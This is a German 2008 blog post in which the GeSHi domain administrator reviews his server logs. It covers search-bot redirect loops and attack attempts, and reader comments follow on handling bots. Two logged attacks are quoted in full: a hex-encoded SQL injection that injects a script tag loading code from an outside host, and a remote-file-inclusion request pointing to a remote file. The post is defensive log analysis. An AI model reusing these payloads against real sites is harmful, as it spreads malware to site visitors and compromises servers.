Als Administrator eines Servers achtet man auf die in seinen Logfiles anfallenden Einträge. Soweit sicherlich nichts Ungewöhnliches, sollte dies doch im Grunde zu den regelmäßig erledigten Aufgaben neben dem Einspielen von Patches für aktuelle Sicherheitslücken und dem Abdichten bekannter Schwachstellen in der Konfiguration darstellen. Ich also daher nach dem ich vor etwas längerer Zeit die GeSHi-Domains qbnz.com und geshi.org übernommen habe in meine Logfiles gegangen und hab einfach mal geschaut, was da an Einträgen so alles anfällt.
Neben ganz normalen Seitenabrufen von Besuchern, die durchaus im Abstand weniger Sekunden auf meinen Server einhämmern, finden sich hier z.B. diverse Kategorien von Suchanfragen durch Google:
Die Kategorie Nummer 1 umfasst typisches Crawling, so wie man es auch von normalen Benutzern her gewohnt ist. Dieses äußert sich, wie es Google auf seiner Seite beschreibt durch Seiten-Aufrufe, die im Abstand von etwa 2-5 Sekunden auf dem Server einschlagen. Neben dem durch User erzeugten Traffic ist dies eine der häufigsten Anfragearten auf dem Server. Was agt dies: Die Seite ist bei Google gut indiziert und immer recht aktuell. Oftmals dauert es nach dem Veröffentlichen von neuen News-Beiträgen nur wenige Minuten, bis man diese bei Google wiederfindet – insgesamt also annehmbar.
Wäre da die Kategorie Nummer 2, die Einträge mit hochverschachtelten Escape-Sequenzen beinhaltet. Da ich grad nicht Suchen wollte, hab ich einfach kurz mal die live erzeugten Einträge angeschaut und bin sofort auf einen passenden Eintrag gestoßen:
[16/Nov/2008:19:03:30 +0000] geshi.org:80 66.249.70.100 - - - HTTP/1.1 GET /var/www/html/htdocs/developers/bugs/login_page.php 200 200 7234 Req="GET /developers/bugs/login_page.php?return=%2Fdevelopers%2Fbugs%2Flogin_page.php%3Freturn%3D%252Fdevelopers%252Fbugs%252Flogin_page.php%253Freturn%253D%25252Fdevelopers%25252Fbugs%25252Flogin_page.php%25253Freturn%25253D%2525252Fdevelopers%2525252Fbugs%2525252Flogin_page.php%2525253Freturn%2525253D%252525252Fdevelopers%252525252Fbugs%252525252Flogin_page.php%252525253Freturn%252525253D%25252525252Fdevelopers%25252525252Fbugs%25252525252Flogin_page.php%25252525253Freturn%25252525253D%2525252525252Fdevelopers%2525252525252Fbugs%2525252525252Flogin_page.php%2525252525253Freturn%2525252525253D%252525252525252Fdevelopers%252525252525252Fbugs%252525252525252Flogin_page.php%252525252525253Freturn%252525252525253D%25252525252525252Fdevelopers%25252525252525252Fbugs%25252525252525252Flogin_page.php%25252525252525253Freturn%25252525252525253D%2525252525252525252Fdevelopers%2525252525252525252Fbugs%2525252525252525252Flogin_page.php%2525252525252525253Freturn%2525252525252525253D%252525252525252525252Fdevelopers%252525252525252525252Fbugs%252525252525252525252Flogin_page.php%252525252525252525253Freturn%252525252525252525253D%25252525252525252525252Fdevelopers%25252525252525252525252Fbugs%25252525252525252525252Flogin_page.php%25252525252525252525253Freturn%25252525252525252525253D%2525252525252525252525252Fdevelopers%2525252525252525252525252Fbugs%2525252525252525252525252Fview_all_bug_page.php%2525252525252525252525253Ffilter%2525252525252525252525253D43939 HTTP/1.1" Referer="-" Agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" SVN="-" SSL="- - -"
Was lernen wir aus diesem Eintrag: Google hat auf dem GeSHi-Bugtracker keinen Account, versucht es aber trotzdem. MSN hat hier den gleichen Fehler, ist aber nicht ganz so persistent wie Google, weshalb die Verschachtelung wesentlich geringer ausfällt
[16/Nov/2008:19:07:08 +0000] geshi.org:80 65.55.210.22 - - - HTTP/1.1 GET /var/www/html/htdocs/developers/bugs/login_page.php 200 200 4617 Req="GET /developers/bugs/login_page.php?return=%2Fdevelopers%2Fbugs%2Flogin_page.php%3Freturn%3D%252Fdevelopers%252Fbugs%252Fview_all_bug_page.php%253Ffilter%253D77849 HTTP/1.1" Referer="-" Agent="msnbot/1.1 (+http://search.msn.com/msnbot.htm)" SVN="-" SSL="- - -"
Trotzdem fragt man sich doch, ob Bots sowas nicht mitbekommen, dass es da nichts zu crawlen gibt, gerade weil hier durchaus recht große Mengen von Traffic jeden Monat sinnlos anfallen. In den derzeitigen Regionen, wo ich mich Trafficmäßig bewege, kann mir das erstmal relativ egal sein – eine Lösung die Bot-Freundlicher sein dürfte, hab ich aber schon.
Bliebe die dritte Kategorie von Traffic, der durch Suchmaschinen erzeugt wird: Proxying von Suchanfragen, wie es häufig von Angreifern zum Hacken von Websites als Verschleierungstaktik angewendet wird, i.d.R. aber nicht viel bringt, da solche Dinge relativ einfach durch entsprechende Filter entweder komplett abgedichtet werden können oder aber gut mitprotokolliert werden können. Beide Varianten haben sowohl Vor- als auch Nachteile: Während das Blocken von Proxy-basierten Requests Beispielsweise über den X-Forward-For-Header recht erkannt und gefiltert werden kann, sperrt man damit gleichzeitig eine Reihe verschiedener Anonymisierungsnetzwerke aus, die durchaus ihre Berechtigung haben. Protokolliert man hingegen einfach nur typische Felder, die auf die Nutzung von Proxies hinweisen mit, so entfällt dieser Schutz, vor offensichtlichen Proxies, dafür bedarf es jedoch einer manuellen, nachträglichen Auswertung, ob bestimmte Proxies missbraucht werden und daher gesperrt werden sollten.
Ein hoher Anteil an Einträgen mit Proxy-Servern deutet somit auf entweder anonym surfende User oder einen hohen Anteil Angreifer hin, die es auf den eigenen Server abgesehen haben.
Bestärkt wird gerade die zweite These dann, wenn man Voreigentümer einer Domain erfährt, dass die verwendeten Scripte „mal eben“ geschrieben wurden, „damit sie funktionieren“. Dementsprechend sieht dann auch der Log aus: Reihenweise Versuchte SQL-Injections und Remote Code Execution-Angriffe, die Versuchen in den Server einzudringen.
Auch hier gibt es typische Vertreter:
[07/Sep/2008:05:17:21 +0000] geshi.org:80 221.126.77.240 - - - HTTP/1.1 GET /var/www/html/htdocs/highlighter/news.php 200 200 18233 Req="GET /highlighter/news.php?id=103';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" Referer="-" Agent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Foxy/1; Foxy/1)" SVN="-" SSL="- - -"
und
[10/Nov/2008:06:08:29 +0000] geshi.org:80 89.218.85.18 - - - HTTP/1.1 GET /var/www/html/htdocs/highlighter/converter.inc.php 404 404 227 Req="GET /highlighter/converter.inc.php?include_path=http://{removed}/fx29id.txt?? HTTP/1.1" Referer="-" Agent="Mozilla/5.0" SVN="-" SSL="- - -"
wobei beide nicht zu verachten sind: Nicht nur musste ich etwas genauer ersterem Eintrag hinschauen, um ihn von Suchmaschinen-Kategorie 2 zu unterscheiden, sondern musste zudem auch noch ich einen Hex-Decoder hernehmen, um mir den zugehörigen SQL-Befehl anzuschauen, der es durchaus in die oberste Liga verschleierter C-Programme schaffen würde.
Dagegen ist der zweite Angriff, der eine häufig bei PHP-Installationen mit aktiviertem Register_Globals anzutreffende Lücke ausnutzt schon regelmrecht langweilig. Sorry, liebe Angreifer, aber gegen Sowas gibt es genug Abwehrmaßnahmen, darunter neben sauberem Schreiben der Script auch eine korrekte Konfiguration seiner Laufzeit-Umgebung.
Bliebe noch die Frage, was einem diese Angriffe zeigen. Hmmm, gute Frage. Wahrscheinliche mehrere Dinge: Ein Punkt dürfte sicherlich sein, dass die Domain unter Angreifern bekannt ist als mögliches Ziel, zum anderen aber, dass selbst nach über 6 Monaten unter neuer Herrschaft, sich noch nicht herumgesprochen hat, dass die meisten alten Lücken inzwischen abgedichtet sind.
Auch wenn es immer recht nervig ist, wenn man einen Server reinigen darf, bei dem wieder einmal eine Sicherheitslücke ausgenutzt wurde, so ist es doch immer wieder spannend, herauszufinden, wie dies geschehen ist. Wenn man sich da die immer gleichen Arten von Standard-Angriffen anschauen muss, so kann dies schnell zu Langeweile führen. Bliebe die Frage, wann die Script-Kiddies und Angreifer, die das Internet immer so vollspammen entlich wieder anfangen uns Webmaster mit ihren Anfragen auf unsere Server zu unterhalten – ich weiß es ehrlich gesagt nicht!
Wie ich sehe liebst du es immer noch Provokante Inhalte zu Verfassen. Das mit den BOT’s kann man aber entsprechend steuern. 😉
Mfg
neo
Kommentar by babyNeo — 16.11.2008 @ 20:43:05
Stimmt. Die Bots kann man rauswerfen, entweder durch noindex bzw nofollow, oder indem man vernünftige Fehlercodes setzt. Bis vor kurzem hat Google noch meine Fehlerseite mit indiziert, seit
if (!have_posts()) header("HTTP/1.0 404 Not Found");lassen die mich in Ruhe. Hat sich rumgesprochen, dass da nix ist 😉
Wenn du das mit „401 Unauthorized quittierst“, dürften die auch aufgeben.
Keep blogging,
Martok
Kommentar by Martok — 17.11.2008 @ 00:00:33